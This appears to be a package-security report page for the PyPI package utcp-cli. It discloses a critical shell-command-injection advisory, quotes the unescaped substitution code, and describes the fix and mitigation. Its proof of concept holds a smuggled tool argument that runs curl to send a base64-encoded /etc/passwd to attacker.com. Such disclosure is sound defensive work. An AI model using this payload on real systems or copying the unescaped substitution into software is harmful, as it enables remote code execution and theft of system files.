pypi package report

Is utcp-cli safe?

2 known vulnerabilities, worst severity CRITICAL.

// reach

0 direct dependencies

none carry a known advisory

    0 packages depend on it

    an advisory here reaches each of them

      Create a free accountfor every dependency path, dependent and what to upgrade
      // ai model usage

      No published models are known to use this package.


      cvss
      10.0
      critical

      CVSS v3.1 base score out of 10

      epss
      0.32%
      low

      chance of exploitation in 30 days, 25th percentile of all CVEs

      xyz score
      4.0
      medium

      CyberXYZ composite out of 10

      fig. 01 — GHSA-33p6-5jxp-p3x4, the advisory selected below

      // 2 advisories

      GHSA-33p6-5jxp-p3x4

      CRITICALGitHub ratingCVE-2026-45369
      // summary

      The _substitute_utcp_args method in cli_communication_protocol.py inserts user-controlled tool_args values directly into shell command strings without any sanitization or escaping. These commands are then executed via /bin/bash -c (Unix) or powershell.exe -Command (Windows), allowing an attacker to inject arbitrary shell commands.

      // affected file

      plugins/communication_protocols/cli/src/utcp_cli/cli_communication_protocol.py

      // vulnerable code
      def replace_placeholder(match):
          arg_name = match.group(1)
          if arg_name in tool_args:
              return str(tool_args[arg_name])  # No escaping applied

      The substituted command is then embedded directly into a shell script:

      script_lines.append(f'{var_name}=$({substituted_command} 2>&1)')

      And executed via:

      shell_cmd = ['/bin/bash', '-c', script]
      // proof of concept

      Given a tool defined as:

      {"command": "python script.py --input UTCP_ARG_filename_UTCP_END"}

      Calling with:

      tool_args = {"filename": "data.csv; curl http://attacker.com/$(cat /etc/passwd | base64)"}

      Produces and executes:

      CMD_0_OUTPUT=$(python script.py --input data.csv; curl http://attacker.com/$(cat /etc/passwd | base64) 2>&1)

      This results in full Remote Code Execution on the host system.

      // patched

      Fixed in utcp-cli 1.1.2. _substitute_utcp_args now shell-quotes every substituted value: shlex.quote on Unix, a PowerShell single-quoted literal on Windows. Each UTCP_ARG_..._UTCP_END placeholder therefore expands to exactly one shell token, blocking metacharacter injection (;, |, &, backticks, $(), newlines).

      Behavior change: tools that relied on a single placeholder splitting into multiple shell tokens (e.g. UTCP_ARG_flags_UTCP_END -> --verbose --debug) must now use one placeholder per intended argument.

      // mitigation

      Upgrade to utcp-cli >= 1.1.2. There is no workaround in earlier versions short of refusing all attacker-controlled tool_args.

      // credit

      Reported by @ZeroXJacks.

      // cvss v3.1 vector

      CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

      Attack vector
      Network
      Attack complexity
      Low
      Privileges required
      None
      User interaction
      None
      Scope
      Changed
      Confidentiality
      High
      Integrity
      High
      Availability
      High

      Checked 2026-11-08 at 00:38 UTC. The most recent advisory here was published 2026-05-14. Updated continuously from NVD, GHSA, OSV and CNA feeds.

      Think a verdict here is wrong? Tell us — we respond within 2 business days.